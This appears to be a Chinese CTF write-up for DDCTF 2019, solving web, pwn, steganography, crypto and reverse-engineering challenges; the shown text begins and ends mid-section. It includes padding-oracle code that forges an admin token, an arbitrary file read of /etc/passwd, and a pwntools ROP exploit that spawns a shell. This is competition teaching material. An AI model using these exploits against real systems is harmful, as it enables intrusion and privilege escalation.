if "decrypt err~" not in get_api_return:
get = chr(j ^ i) + get
# print(get.encode('hex'))
break
return get

token = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'.decode('base64')
ciphertxt = token[16:]
iv = token[:16] # PadOracle:iv/cbc
org_plaintxt = '{"id":100,"roleAdmin":false}\x04\x04\x04\x04'
evil_plaintxt = '{"id":100,"roleAdmin":true}\x05\x05\x05\x05\x05'

ciphertxt2 = ciphertxt[16:]
imtermediary2 = sxor(org_plaintxt[16:],ciphertxt[:16])
# print imtermediary2.encode('hex')
ciphertxt1 = sxor(evil_plaintxt[16:],imtermediary2)
# print sxor(imtermediary2,evil_plaintxt[16:]).encode('hex'),evil_plaintxt[16:]
imtermediary1 = padding_oracle(ciphertxt1, 16)
# print imtermediary1.encode('hex')
iv_fixed = sxor(imtermediary1,org_plaintxt[:16])
#
print (iv_fixed+ciphertxt1+ciphertxt2).encode('base64')

修改token为e/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

得到了一个1.txt

1
2
3
4
Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~

发现可以任意文件读取 http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=/etc/passwd

/proc/self/fd/xxx 可以查看该进程打开的文件,经测试访问 /api/fileDownload?fileName=/proc/self/fd/15 拿到网站源码

反编译class文件后拿到java源码,有一个DeserializeDemoController比较可疑

fastjson 版本是 1.2.51 好像没有漏洞,而且用了SerialKiller。1.txt 提示无法执行命令。

【未完待续】

MISC

[PWN] strike

1
2
3
4
5
6
[*] '/home/kira/pwn/ddctf/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞一:无初始化内存,导致内存泄露

1
2
3
4
5
6
7
8
9
10
int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
int v2; // eax
char buf; // [esp+0h] [ebp-48h]

printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);
}

动态调试,可以发现内存里面有栈地址,以及libc地址,填充0x28位字符,即可泄露

漏洞二:输入长度为有符号数,长度判断没有判断是否为负数,导致栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int a1)
{
int v1; // eax
char buf; // [esp+0h] [ebp-4Ch]
size_t nbytes; // [esp+40h] [ebp-Ch]
int *v5; // [esp+44h] [ebp-8h]

v5 = &a1;
setbuf(stdout, 0);
input_name(stdin, stdout);
sleep(1u);
printf("Please set the length of password: ");
nbytes = get_int();
if ( (signed int)nbytes > 63 ) // 负数绕过
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);
puts("All done, bye!");
return 0;
}

长度那里输入-1,即可获得4294967295长度的输入,不过这里不是一般的栈溢出,具体需要分析汇编代码

1
2
3
4
5
6
7
8
.text:08048732                 add     esp, 10h
.text:08048735 mov eax, 0
.text:0804873A lea esp, [ebp-8]
.text:0804873D pop ecx
.text:0804873E pop ebx
.text:0804873F pop ebp
.text:08048740 lea esp, [ecx-4]
.text:08048743 retn

留意到程序最后lea esp, [ecx-4],那么要控制esp就需要控制ecx。而ecx的值为ebp-8处的值,那么我们需要覆盖ebp-8为我们可控的栈空间地址。通过漏洞一,已经知道栈地址和libc基址,可以在第二次输入的开头构造ROP,然后控制ecx的值为ROP地址+4

1
2
3
4
5
6
7
8
9
10
p.sendlineafter('username: ','1'*0x27)
p.recvuntil('1'*0x27+'\n')
stack = u32(p.recv(4))
success(hex(stack))
libc.address = u32(p.recv(4)) - libc.sym['setbuf'] - 21
success(hex(libc.address))
p.sendlineafter('password: ','-1')
p.sendlineafter('): ',flat(libc.sym['system'],0,libc.search('/bin/sh').next()).ljust(68,'a')+p32(stack-0x4c+4))
p.recvuntil('bye!\n')
p.interactive()

wireshark

检查http包的过程中,发现有PNG的文件头,提取图片找到一个钥匙图片,调整一下分辨率,发现底部有一个key

1
key:57pmYyWt

继续查找,还发现两个一样的美女傻笑图,不过有一张特别大。

然后根据跟踪http的信息,可以猜测出题人使用在线加密工具( 地址是:http://tools.jb51.net/aideddesign/img_add_info ),将flag隐藏在图片中,密码就是刚刚找到的key。

1
2
3
4
GET /aideddesign/img_add_info HTTP/1.1
Host: tools.jb51.net
User-Agent: curl/7.54.0
Accept: */*

使用刚才找到的较大那张美女傻笑图,用key进行解密,可以得到隐藏的信息

1
图片中隐藏的信息为:flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-

HEX解一下得到flag

1
DDCTF{QEWokcpHeUo2WOfBIN7pogIWsF04iRjt}

北京地铁

Color Threshold

提示:AES ECB密钥为小写字母

提示2:密钥不足位用\0补全

提示3:不要光记得隐写不看图片本身啊…

下载地址

RGB LSB隐写得到密文iKk/Ju3vu4wOnssdIaUSrg==

秘钥需要在图片上寻找了。题目提示Color threshold,所以是在颜色上做文章。经观察,魏公村站颜色与同路线略有不同,所以尝试密码weigongcun\x00\x00\x00\x00\x00\x00,使用AES-ECB解密,成功得到flag

1
2
3
from Crypto.Cipher import AES
AEScipher = AES.new('weigongcun\x00\x00\x00\x00\x00\x00',1)
print(AEScipher.decrypt('iKk/Ju3vu4wOnssdIaUSrg=='.decode('base64')))

联盟决策大会

为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织1】和【组织2】的每一位成员。现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!

以下为使用到的7个十六进制常数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p =
C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
组织1成员1 =
30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A
组织1成员2 =
1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7
组织1成员4 =
1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC
组织2成员3 =
300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA
组织2成员4 =
1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9
组织2成员5 =
9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45

应该是通过组织1的成员1,2,4 恢复出来组织1的秘钥

然后通过组织2的成员 3,4,5 恢复出来组织2的秘钥

然后将组织1和组织2的秘钥,恢复出来flag。

找到一篇文章可供参考

发挥搜索能力,然后直接找到了wiki。 直接抄wiki 上的代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# The following Python implementation of Shamir's Secret Sharing is
# released into the Public Domain under the terms of CC0 and OWFa:
# https://creativecommons.org/publicdomain/zero/1.0/
# http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0

# See the bottom few lines for usage. Tested on Python 2 and 3.


from __future__ import division
from __future__ import print_function

import random
import functools
import libnum

# 12th Mersenne Prime
# (for this application we want a known prime number as close as
# possible to our security level; e.g. desired security level of 128
# bits -- too large and all the ciphertext is large; too small and
# security is compromised)

_PRIME = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
# 13th Mersenne Prime is 2**521 - 1

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
'''evaluates polynomial (coefficient tuple) at x, used to generate a
shamir pool in make_random_shares below.
'''
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum

def make_random_shares(minimum, shares, prime=_PRIME):
'''
Generates a random shamir pool, returns the secret and the share
points.
'''
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points

def _extended_gcd(a, b):
'''
division in integers modulus p means finding the inverse of the
denominator modulo p and then multiplying the numerator by this
inverse (Note: inverse of A is B such that A*B % p == 1) this can
be computed via extended Euclidean algorithm
http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
'''
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y

def _divmod(num, den, p):
'''compute num / den modulo prime p

To explain what this means, the return value will be such that
the following is true: den * _divmod(num, den, p) % p == num
'''
inv, _ = _extended_gcd(den, p)
return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
'''
Find the y-value for the given x, given n (x, y) points;
k points will define a polynomial of up to kth order
'''
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
'''
Recover the secret from share points
(x,y points on the polynomial)
'''
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
'''main function'''
secret, shares = make_random_shares(minimum=3, shares=6)

print('secret: ',
secret)
print('shares:')
if shares:
for share in shares:
print(' ', share)

print('secret recovered from minimum subset of shares: ',
recover_secret(shares[:3]))
print('secret recovered from a different minimum subset of shares: ',
recover_secret(shares[-3:]))

def DDCTF():
shares1=[(1,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A),
(2,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7),
(4,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)]

shares2=[(3,0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA),
(4,0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9),
(5,0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)]

shares3=[(1,recover_secret(shares1)),(2,recover_secret(shares2))]

print(libnum.n2s(recover_secret(shares3)))

if __name__ == '__main__':
DDCTF() # DDCTF{5x3ROxvqF2SJrDdVy73IADA04PxdLLab}

MulTzor

原文为英语,请破解

1
014e084dda666a631b58d361627e5a5bcc327f651f14ef7c626a17558a71627d1251d87b656a5a47d3617f681714cf7c6a6f1651ce327f651f14dd7778791f46c4324a61165dcf612b641414fd7d79611e14fd73792d337d8a66642d0851cb762b7e0f56d9666a630e5dcb7e2b6c175bdf7c7f7e5a5bcc3246620847cf3f68621e51ce32796c1e5dc53268621759df7c626e1b40c37d657e5a5bcc327f651f14eb6a627e5a44c5656e7f0914de7a6a795a5ccb762b6f1f51c4326e63195dda7a6e7f1f508a67786414538a5765641d59cb32666c195cc37c6e7e5414fe7a627e5a4dc37767691f508a7f62611340cb60722d135ade7767611353cf7c68685a43c27b68655614cb7e64631d14dd7b7f655a40c2737f2d1c46c57f2b620e5ccf602b691f57d86b7b791f508a5373640914d8736f641514cb7c6f2d0e51c6777b7f135ade77792d0e46cb7c78601347d97b646309188a656a7e5a53c3646e635a40c2772b6e1550cf7c6a601f14ff7e7f7f1b1a8a4663640914dd73782d195bc46162691f46cf762b6f0314dd7778791f46c43258780a46cf7f6e2d3b58c67b6e695a77c57f666c1450cf602b490d5dcd7a7f2d3e1a8a57627e1f5ac27d7c680814de7d2b651b42cf3269681f5a8a306f68195dd97b7d685814de7d2b7912518a5367611351ce327d641940c5607223703efe7a6e2d3f5ac375666c5a59cb7163641451d9327c6808518a732b6b1b59c37e722d15528a62647f0e55c87e6e2d195dda7a6e7f5a59cb7163641451d9327c640e5c8a60647915468a61687f1b59c87e6e7f091a8a5564621e14c5626e7f1b40c37c6c2d0a46c5716e690f46cf61272d0a46c5626e7f164d8a77656b1546c9776f215a43c56767695a5ccb646e2d1755ce772b7912518a6267781d56c57379695a71c47b6c601b14c7736865135acf327e631846cf73606c1858cf3c2b451543cf646e7f5614c77d78795a5bcc327f651f14ed7779601b5a8a7f62611340cb60722d1c5bd8716e7e5614d977687f1f408a616e7f0c5dc977782d1b5ace3268640c5dc67b6a635a55cd77656e1351d9327f651b408a6778681e14ef7c626a17558a77667d165bd3776f2d0a5bc5602b620a51d8737f6414538a6279621951ce67796809188a7365695a5dde327c6c0914de7a6e7e1f14da7d647f5a44d87d68681e41d877782d0e5ccb662b6c1658c5656e695a40c2772b48145dcd7f6a2d1755c97a62631f478a66642d18518a606e7b1f46d97726681453c37c6e680851ce326a631e14de7a6e2d195dda7a6e7f0914de7d2b6f1f14d8776a69543ea04663685a73cf60666c1414da7e7e6a185bcb606f201f45df7b7b7d1f508a5765641d59cb3269681955c7772b431b4ec3324c680859cb7c722a0914da606263195dda73672d1946d3627f625747d3617f68171a8a5b7f2d0d55d932697f155fcf7c2b6f0314de7a6e2d2a5bc67b78655a73cf7c6e7f1b588a417f6c1c528d612b4e1344c277792d3841d8776a785a5dc4324f681951c7706e7f5a05932139215a43c366632d0e5ccf326a641e14c5742b4b0851c47163200941da6267641f508a7b65791f58c67b6c681457cf32666c0e51d87b6a615a5bc8666a641451ce326d7f15598a732b4a1f46c773652d0944d33c2b4c5a59c57c7f655a56cf74647f1f14de7a6e2d1541de7079681b5f8a7d6d2d2d5bd87e6f2d2d55d83242445614cb662b6c5a57c57c6d680851c4716e2d1251c6762b631f55d8325c6c0847cb65272d0e5ccf325b62165dd97a2b4e1344c277792d3841d8776a785a47c27379681e14c366782d3f5ac375666c5756d8776a66135acd327f68195cc47b7a781f478a7365695a40cf7163631558c575722d0d5dde7a2b7912518a5479681457c2326a631e14e86062791347c23c2b490f46c37c6c2d0e5ccf324c680859cb7c2b641442cb6162621414c5742b5d1558cb7c6f215a57c5606e2d2a5bc67b78655a77c36263680814e86779681b418a626e7f095bc47c6e615a43cf606e2d1f42cb717e6c0e51ce3e2b7b13558a4064601b5ac373272d0e5b8a54796c1457cf327c651f46cf327f651f4d8a7778791b56c67b78651f508a6663685a64e932497f0f5ac53278641d5acb7e782d135ade7767611353cf7c68685a47de737f64155a8a6562791214ec606e63195c8a746a6e1358c36662680914d9677b7d1546de3c2b5e0f57c977787e1c41c63268621544cf606a79135bc4326a60155acd327f651f14fa7d676809188a6663685a72d877656e12188a7365695a40c2772b4f085dde7b78655a55de3249611f40c97a67680314fa7379665a57c57c7f641441cf762b781440c37e2b470f5acf323a344e0486327c651f5a8a54796c1457cf3278780846cf7c6f680851ce327f625a40c2772b4a1f46c773657e543ea05479621714de7a627e5a56cf756263145dc475272d0e5ccf32497f1340c361632d3d5bdc7779631751c4662b4e1550cf326a631e14e96b7b651f468a416865155bc632234a3912e941222d1b408a5067680e57c27e6e745a64cb60602d1841c37e7f2d0f448a73652d1f4cde77657e1342cf32687f0344de73656c164dde7b682d1955da736964165dde6b252d335ac366626c1658d33e2b7912518a766e6e084dda6662621414dd73782d1755c37c67745a5bcc3247781c40dd736d6b1f1482556e7f1755c4326a640814cc7d796e1f1d8a7365695a558a746e7a5a7ccf77792d5273cf60666c1414cb6066745314c777787e1b53cf61272d1b478a6663685a7fd87b6e6a0959cb6062631f1482556e7f1755c432656c0c4d83326e600a58c56b6e695a59df71632d175bd8772b7e1f57df606e2d0a46c5716e690f46cf612b6b15468a67786414538a5765641d59cb3c2b4c1655c4325f78085dc475272d1b14e973666f085dce756e2d2f5ac3646e7f095dde6b2b601b40c277666c0e5dc97b6a635a55c4762b611553c371626c14188a6279620c5dce776f2d1741c97a2b621c14de7a6e2d1546c37562631b588a666364145fc37c6c2d0e5ccb662b611f508a66642d0e5ccf326f68095dcd7c2b621c14de7a6e2d1946d3627f6c1455c66b7f641955c63269621756cf32666c195cc37c6e7e5a40c2737f2d0d51d8772b641447de607e601f5ade73672d135a8a777d681440df7367610314c8606e6c115dc4752b7912518a7c6a7b1b588a5765641d59cb3c2b451543cf646e7f5614de7a6e2d3146c3776c7e1755d87b65685a5dc46679621e41c9776f2d1b5a8a5765641d59cb327d680847c37d652d0d5dde7a2b6c5a52c56779791214d87d7f620814cc7d792d1340d9325e20185bcb6678215a46cf617e610e5dc4752b641414cb327b7f1558c57c6c681e14da77796415508a6563681414de7a6e7e1f14c777787e1b53cf612b6e1541c6762b6315408a706e2d1e51c960727d0e51ce3c2b5a1340c2327f651f14c9737b790f46cf32646b5a46cf7e6e7b1b5ade3268640a5ccf602b661f4dd9326a631e14de7a6e2d0f47cf32646b5a59df71632d1c55d9666e7f5a61f932456c0c4d8a7064601851d93e2b7f1f53df7e6a7f5614d8737b641e14d8776a69135acd32646b5a618770646c0e14c777787e1b53cf612b7f1f47df7f6e69543ea04663685a52c6736c2d134790324f493960ec693b3a1805c8263d694b50c82033354e07ce236d694d02922a326b1f559370383b07

提示原文是英文,最初的想法是通过词频来还原,写了段代码,简单统计了一下数据出现的次数,发现有159种二进制,应该不是简单的替换,猜测可能经过异或处理。此处祭出神器xortool,英文最多的必须是空格,那么以空格为参考进行爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
F:\hack\tools\crypto\xortool-master\xortool
λ py -2 xortool -c " " X:\tmp\MulTzor
The most probable key lengths:
3: 11.9%
6: 19.7%
9: 9.3%
12: 14.5%
15: 7.1%
18: 11.2%
21: 5.4%
24: 8.4%
30: 6.8%
36: 5.7%
Key-length can be 3*n
2 possible key(s) of length 6:
\x0b\rz4\xaa\x12
N\rz4\xaa\x12
Found 2 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

直接爆出了key,进行xor即可还原明文。

1
2
3
4
5
6
7
8
9
Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War II to read substantial amounts of Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been "decisive" to the Allied victory.

The Enigma machines were a family of portable cipher machines with rotor scramblers. Good operating procedures, properly enforced, would have made the plugboard Enigma machine unbreakable. However, most of the German military forces, secret services and civilian agencies that used Enigma employed poor operating procedures, and it was these poor procedures that allowed the Enigma machines to be reverse-engineered and the ciphers to be read.

The German plugboard-equipped Enigma became Nazi Germany's principal crypto-system. It was broken by the Polish General Staff's Cipher Bureau in December 1932, with the aid of French-supplied intelligence material obtained from a German spy. A month before the outbreak of World War II, at a conference held near Warsaw, the Polish Cipher Bureau shared its Enigma-breaking techniques and technology with the French and British. During the German invasion of Poland, core Polish Cipher Bureau personnel were evacuated, via Romania, to France where they established the PC Bruno signals intelligence station with French facilities support. Successful cooperation among the Poles, the French, and the British at Bletchley Park continued until June 1940, when France surrendered to the Germans.

From this beginning, the British Government Code and Cypher School (GC&CS) at Bletchley Park built up an extensive cryptanalytic capability. Initially, the decryption was mainly of Luftwaffe (German air force) and a few Heer (German army) messages, as the Kriegsmarine (German navy) employed much more secure procedures for using Enigma. Alan Turing, a Cambridge University mathematician and logician, provided much of the original thinking that led to the design of the cryptanalytical bombe machines that were instrumental in eventually breaking the naval Enigma. However, the Kriegsmarine introduced an Enigma version with a fourth rotor for its U-boats, resulting in a prolonged period when these messages could not be decrypted. With the capture of relevant cipher keys and the use of much faster US Navy bombes, regular, rapid reading of U-boat messages resumed.

The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}

RE

Windows Reverse1

静态分析法

使用peid进行检查,发现upx壳,upx -d reverse1_final.exe进行脱壳(脱壳后的exe在win10下不能运行,XP下可以运行),直接拖入IDA进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-804h]
char v5; // [esp+5h] [ebp-803h]
char v6; // [esp+404h] [ebp-404h]
char Dst; // [esp+405h] [ebp-403h]

v6 = 0;
memset(&Dst, 0, 0x3FFu);
v4 = 0;
memset(&v5, 0, 0x3FFu);
printf("please input code:");
scanf("%s", &v6);
sub_401000(&v6);
if ( !strcmp(&v4, "DDCTF{reverseME}") )
printf("You've got it!!%s\n", &v4);
else
printf("Try again later.\n");
return 0;
}

主函数逻辑比较简单 ,把输入的字符串调用sub_401000函数进行处理,然后和 DDCTF{reverseME} 进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int __cdecl sub_401000(const char *a1)
{
_BYTE *v1; // ecx
unsigned int v2; // edi
unsigned int result; // eax
int v4; // ebx

v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = a1 - v1;
do
{
*v1 = byte_402FF8[(char)v1[v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}

双击跟进byte_402FF8发现并不存在,LXY大神的分析如下:

翻看了下PE头中.rdata和.data的定义,发现.rdata的RVA是0x2000,内存大小为0x622,.data的RVA是0x3000。也就是说虚拟地址0x402000-0x402621是.rdata段。0x402622至0x402fff为未定义的内存空间(实际上内存页大小是0x1000,所以该端内存的会被默认填充为0)。但这不妨碍我们通过0x402ff8作为基址进行内存定位。翻了下.data段立马发现从0x403018开始为一个疑似转换表。

1
2
3
4
5
a="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
base=0x402ff8
table=0x403018
b="DDCTF{reverseME}"
print ''.join([chr(a.index(b[i])+table-base) for i in range(len(b))]) # ZZ[JX#,9(9,+9QY!

动态调试法

根据ida反汇编的伪代码,在strcmp(&v4, "DDCTF{reverseME}")下断点

可以根据输入和处理结果的映射关系,逆向还原flag

Windows Reverse2

使用peid进行检查,发现aspack壳,用Aspack stripper脱壳后拖入IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Dest; // [esp+8h] [ebp-C04h]
char v5; // [esp+9h] [ebp-C03h]
char v6; // [esp+408h] [ebp-804h]
char Dst; // [esp+409h] [ebp-803h]
char v8; // [esp+808h] [ebp-404h]
char v9; // [esp+809h] [ebp-403h]

v6 = 0;
memset(&Dst, 0, 0x3FFu);
v8 = 0;
memset(&v9, 0, 0x3FFu);
printf(Format);
scanf(aS, &v6);
if ( !check_hex(&v6) )
{
printf(aInvalidInput);
exit(0);
}
sub_401240(&v6, (int)&v8); // decode('hex').encode('base64')
Dest = 0;
memset(&v5, 0, 0x3FFu);
sprintf(&Dest, aDdctfS, &v8); // DDCTF{%s}
if ( !strcmp(&Dest, aDdctfReverse) ) // DDCTF{reverse+}
printf(aYouVeGotItS, &Dest);
else
printf(aSomethingWrong);
return 0;
}

程序要求输入16进制,然后经过sub_401240处理后与reverse+比较,伪代码比较难看,还是直接用动态调试吧,继续在字符串比较处下一个断点。

不难发现sub_401240函数将输入进行了hex解码和base64编码,直接逆向运算即可

1
2
3
4
>>> print 'EjRWeJA='.decode('base64').encode('hex')
1234567890
>>> print("reverse+".decode("base64").encode("hex").upper())
ADEBDEAEC7BE
1
2
3
> X:\tmp\reverse2_final.exe
input code:ADEBDEAEC7BE
You've got it !!! DDCTF{reverse+}

Confused

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
void __cdecl -[ViewController checkCode:](ViewController *self, SEL a2, id a3)
{
void *v3; // rax
void *v4; // rax
void *v5; // ST18_8
void *v6; // rax
char *v7; // rax
void *v8; // rax
char *v9; // rax
void *v10; // rax
void *v11; // rax
void *v12; // [rsp+38h] [rbp-58h]
void *v13; // [rsp+40h] [rbp-50h]
__int128 v14; // [rsp+48h] [rbp-48h]
__int64 v15; // [rsp+58h] [rbp-38h]
SEL v16; // [rsp+60h] [rbp-30h]
void *v17; // [rsp+68h] [rbp-28h]
char *v18; // [rsp+70h] [rbp-20h]
__int64 v19; // [rsp+78h] [rbp-18h]
__int64 v20; // [rsp+80h] [rbp-10h]
char *v21; // [rsp+88h] [rbp-8h]

v17 = self;
v16 = a2;
v15 = 0LL;
objc_storeStrong(&v15, a3);
v3 = objc_msgSend(v17, "pwd");
v4 = (void *)objc_retainAutoreleasedReturnValue(v3);
v5 = v4;
v6 = objc_msgSend(v4, "stringValue");
v14 = (unsigned __int64)objc_retainAutoreleasedReturnValue(v6);
objc_release(v5);
if ( (unsigned __int8)objc_msgSend((void *)v14, "hasPrefix:", CFSTR("DDCTF{")) )
{
v7 = (char *)objc_msgSend((void *)v14, "length");
v8 = objc_msgSend((void *)v14, "substringFromIndex:", v7 - 1);
v13 = (void *)objc_retainAutoreleasedReturnValue(v8);
if ( (unsigned __int8)objc_msgSend(v13, "isEqualToString:", CFSTR("}")) )
{
v9 = (char *)objc_msgSend((void *)v14, "length");
v19 = 6LL;
v18 = v9 - 7;
v20 = 6LL;
v21 = v9 - 7;
v10 = objc_msgSend((void *)v14, "substringWithRange:", 6LL, v9 - 7);
v12 = (void *)objc_retainAutoreleasedReturnValue(v10);
if ( objc_msgSend(v12, "length") == (void *)18 )
{
v11 = (void *)objc_retainAutorelease(v12);
*((_QWORD *)&v14 + 1) = objc_msgSend(v11, "UTF8String");
}
objc_storeStrong(&v12, 0LL);
}
objc_storeStrong(&v13, 0LL);
}
if ( *((_QWORD *)&v14 + 1) )
{
if ( (unsigned int)sub_1000011D0(*((__int64 *)&v14 + 1)) == 1 )
objc_msgSend(v17, "onSuccess");
else
objc_msgSend(v17, "onFailed");
}
else
{
objc_msgSend(v17, "onFailed");
}
objc_storeStrong(&v14, 0LL);
objc_storeStrong(&v15, 0LL);
}

找到成功的提示,往前一个函数为判断函数。函数内首先分配内存,初始化虚拟机,最后将输入去头尾后代入虚拟机,虚拟机将读入指令中存储的数据,加二,与输入比较,如失败,跳到最后,成功则执行下条指令,逻辑同上。故将指令中字符提取如下:fcjjmWmsEmrRfcDjye。

1
2
3
4
5
6
7
8
9
__int64 __fastcall sub_100001C60(__int64 a1)
{
__int64 result; // rax

result = rot2(*(_DWORD *)a1, 2);
*(_DWORD *)a1 = (char)result;
++*(_QWORD *)(a1 + 24);
return result;
}

根据伪代码重写一个rot2函数即可

1
2
3
4
5
6
7
8
9
10
11
12
import string
a = 'fcjjmWmsEmrRfcDjye'

def rot2(s):
res = ''
for i in s:
if i in string.lowercase:
res += chr((ord(i)+2-97)%26+97)
else:
res += chr((ord(i)+2-65)%26+65)
return res
print rot2(a)

加入DDCTF{}后得到FLAG:

1
DDCTF{helloYouGotTheFlag}

obfuscating macros

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v3; // al
char v4; // al
bool v5; // al
__int64 v6; // rax
char v8; // [rsp+0h] [rbp-40h]
unsigned __int64 v9; // [rsp+28h] [rbp-18h]

v9 = __readfsqword(0x28u);
